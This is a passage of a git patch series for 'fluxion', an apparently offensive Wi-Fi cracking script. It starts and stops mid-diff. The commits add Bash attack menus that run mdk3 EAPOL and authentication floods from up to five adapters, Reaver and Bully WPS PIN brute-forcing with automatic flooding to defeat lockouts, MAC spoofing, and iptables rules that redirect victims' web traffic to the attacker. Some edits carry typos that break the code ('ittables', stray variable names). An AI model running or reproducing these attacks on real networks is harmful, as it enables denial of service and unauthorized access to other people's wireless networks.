(Ex:Wlan2) - ": ADAPTER3; +clear +echo +read -p " - What is the name of your 4th Wlan Adapter (Ex:Wlan3) - ": ADAPTER4; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + +enable_mon_mode_4 + + +clear + +echo "************** - Would you like to set ALL Wlan Adapters to the same MAC Address? - ************** +1)Yes +2)No" + +read l +case $l in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +mac_change_4 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + +clear + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Methode" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read m +case $m in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $ADAPTER1" & +menu +;; + 5) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC4 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL4 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC4 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL4 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 5) +clear +echo +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1; +clear +echo +read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; +clear +echo +read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": ADAPTER3; +clear +echo +read -p " - What is the name of your 4th Wlan Adapter (Ex:Wlan3) - ": ADAPTER4; +clear +echo +read -p " - What is the name of your 5th Wlan Adapter (Ex:Wlan4) - ": ADAPTER5; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 +enable_mon_mode_3 + +enable_mon_mode_4 + +enable_mon_mode_5 + +clear + +echo "************** - Would you like to set ALL Wlan Adapters to the same MAC Address? - ************** +1)Yes +2)No" + +read o +case $o in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +mac_change_4 + +mac_change_5 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Methode" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read p +case $p in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER5 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER5 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $ADAPTER1" & +menu +;; + 5) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC5 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL5 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC5 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL5 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + +esac + +} function handshakelocation { conditional_clear @@ -1471,8 +2697,9 @@ function routear { iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 + ittables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -t nat -A POSTROUTING -j MASQUERADE } From d2c2d534b9df08e050037ddb6f9166e347c3e6a6 Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 10 Mar 2016 20:22:45 +0400 Subject: [PATCH 004/294] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index c8621b1..e79e39f 100644 --- a/README.md +++ b/README.md @@ -34,6 +34,7 @@ $ sudo ./flux 1. Deltax @FLuX and Fluxion main developer 2. Strasharo @Fluxion help to fix DHCPD and Pyrit Problems, spelling mistakes and translation mistakes 3. vk439 @Linset main developer of linset +4. ApatheticEuphoria @Wifi-Slaughter WPS Crack **Check out the Linset project to lern more** From c47ea744e8c3db1cedf996fe128d27c4797a8615 Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 10 Mar 2016 23:28:15 +0400 Subject: [PATCH 005/294] Update fluxion --- kali/fluxion | 195 ++++++++++++++++++++++++++------------------------- 1 file changed, 101 insertions(+), 94 deletions(-) diff --git a/kali/fluxion b/kali/fluxion index a1e4680..1e87ac6 100755 --- a/kali/fluxion +++ b/kali/fluxion @@ -887,7 +887,7 @@ clear declare BSSID; declare ESSID; declare CHANNEL; -declare ADAPTER1; +declare WIFI_MONITOR; declare ADAPTER2; declare ADAPTER3; declare ADAPTER4; @@ -901,12 +901,12 @@ sudo rfkill unblock all enable_mon_mode_1() { -echo "Enabling Monitor Mode on $ADAPTER1" -sudo ifconfig $ADAPTER1 down +echo "Enabling Monitor Mode on $WIFI_MONITOR" +sudo ifconfig $WIFI_MONITOR down sleep 1 -sudo iwconfig $ADAPTER1 mode monitor +sudo iwconfig $WIFI_MONITOR mode monitor sleep 1 -sudo ifconfig $ADAPTER1 up +sudo ifconfig $WIFI_MONITOR up echo "Monitor Mode Enabled" } @@ -960,12 +960,12 @@ echo "Monitor Mode Enabled" mac_change_1() { -echo "Setting the MAC Address on $ADAPTER1" -sudo ifconfig $ADAPTER1 down +echo "Setting the MAC Address on $WIFI_MONITOR" +sudo ifconfig $WIFI_MONITOR down sleep 3 -macchanger $ADAPTER1 -m 02:22:88:29:EC:6F +macchanger $WIFI_MONITOR -m 02:22:88:29:EC:6F sleep 3 -sudo ifconfig $ADAPTER1 up +sudo ifconfig $WIFI_MONITOR up echo "MAC Changed" } @@ -1021,37 +1021,40 @@ echo "MAC Changed" scan_for_targets() { -sudo ifconfig $ADAPTER1 down -sudo iwconfig $ADAPTER1 mode managed -sudo ifconfig $ADAPTER1 up +sudo ifconfig $WIFI_MONITOR down +sudo iwconfig $WIFI_MONITOR mode managed +sudo ifconfig $WIFI_MONITOR up -eval $(sudo iwlist $ADAPTER1 scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') +eval $(sudo iwlist $WIFI_MONITOR scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') conditional_clear mostrarheader echo "Select your wlan" - echo " " - echo -e " "$blue"1)"$transparent" $ESSID1" - echo -e " "$blue"2)"$transparent" $ESSID2" - echo -e " "$blue"3)"$transparent" $ESSID3" - echo -e " "$blue"4)"$transparent" $ESSID4" - echo -e " "$blue"5)"$transparent" $ESSID5" - echo -e " "$blue"6)"$transparent" $ESSID6" - echo -e " "$blue"7)"$transparent" $ESSID7" - echo -e " "$blue"8)"$transparent" $ESSID9" - echo -e " "$blue"9)"$transparent" $ESSID10" - echo -e " "$blue"10)"$transparent" $ESSID11" - echo -e " "$blue"11)"$transparent" $ESSID11" - echo -e " "$blue"12)"$transparent" $ESSID12" - echo -e " "$blue"13)"$transparent" $ESSID13" - echo -e " "$blue"14)"$transparent" $ESSID14" - echo -e " "$blue"15)"$transparent" $ESSID15" - echo -e " "$blue"16)"$transparent" $ESSID16" - echo -e " "$blue"17)"$transparent" $ESSID17" - echo -e " "$blue"18)"$transparent" $ESSID18" - echo -e " "$blue"19)"$transparent" $ESSID19" - echo -e " "$blue"20)"$transparent" $ESSID20" +echo "" +echo -e ""$blue"0)"$transparent" Rescan" +echo -e ""$blue"1)"$transparent" $ESSID1" +echo -e ""$blue"2)"$transparent" $ESSID2" +echo -e ""$blue"3)"$transparent" $ESSID3" +echo -e ""$blue"4)"$transparent" $ESSID4" +echo -e ""$blue"5)"$transparent" $ESSID5" +echo -e ""$blue"6)"$transparent" $ESSID6" +echo -e ""$blue"7)"$transparent" $ESSID7" +echo -e ""$blue"8)"$transparent" $ESSID9" +echo -e ""$blue"9)"$transparent" $ESSID10" +echo -e ""$blue"10)"$transparent" $ESSID11" +echo -e ""$blue"11)"$transparent" $ESSID11" +echo -e ""$blue"12)"$transparent" $ESSID12" +echo -e ""$blue"13)"$transparent" $ESSID13" +echo -e ""$blue"14)"$transparent" $ESSID14" +echo -e ""$blue"15)"$transparent" $ESSID15" +echo -e ""$blue"16)"$transparent" $ESSID16" +echo -e ""$blue"17)"$transparent" $ESSID17" +echo -e ""$blue"18)"$transparent" $ESSID18" +echo -e ""$blue"19)"$transparent" $ESSID19" +echo -e ""$blue"20)"$transparent" $ESSID20" +echo -e ""$blue"21)"$transparent"EXIT" +echo -e "" read a @@ -1060,6 +1063,10 @@ case $a in 0) clear scan_for_targets +;; + 21) +clear +exitmode ;; 1) BSSID=$BSSID1 @@ -1174,52 +1181,52 @@ esac run_mdk3_ASOC1() { - xterm -e "timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 WIFI_MONITOR a -a $BSSID -m" } run_mdk3_EAPOL1() { - xterm -e "timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250" } run_mdk3_ASOC2() { - xterm -e "timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m" } run_mdk3_EAPOL2() { - xterm -e "timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250" } run_mdk3_ASOC3() { - xterm -e "timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m" } run_mdk3_EAPOL3() { - xterm -e "timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250" } run_mdk3_ASOC4() { - xterm -e "timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m" } run_mdk3_EAPOL4() { - xterm -e "timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250" } run_mdk3_ASOC5() { - xterm -e "timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER5 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER5 a -a $BSSID -m" } run_mdk3_EAPOL5() { - xterm -e "timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER5 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER5 x 0 -t $BSSID -n $ESSID -s 250" } ##################################End Of Functions For MDK3 ######################################## @@ -1241,7 +1248,7 @@ case $a in 1) clear echo -read -p " - What is the name of your Wlan Adapter (Ex:wlan0) - ": ADAPTER1; +read -p " - What is the name of your Wlan Adapter (Ex:wlan0) - ": WIFI_MONITOR; clear @@ -1319,27 +1326,27 @@ menu ;; 1) clear -timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 menu ;; 2) clear -timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m menu ;; 3) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv menu ;; 4) clear -xterm -e "wash -i $ADAPTER1" & +xterm -e "wash -i $WIFI_MONITOR" & menu ;; 5) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1353,7 +1360,7 @@ menu ;; 6) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1367,12 +1374,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1386,7 +1393,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1413,7 +1420,7 @@ clear conditional_clear mostrarheader echo -read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1; +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR; clear echo read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; @@ -1484,27 +1491,27 @@ menu ;; 1) clear -timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 menu ;; 2) clear -timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m menu ;; 3) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv menu ;; 4) clear -xterm -e "wash -i $ADAPTER1" & +xterm -e "wash -i $WIFI_MONITOR" & menu ;; 5) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1518,7 +1525,7 @@ menu ;; 6) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1532,12 +1539,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1551,7 +1558,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1577,7 +1584,7 @@ mostrarheader 3) clear echo -read -p " - 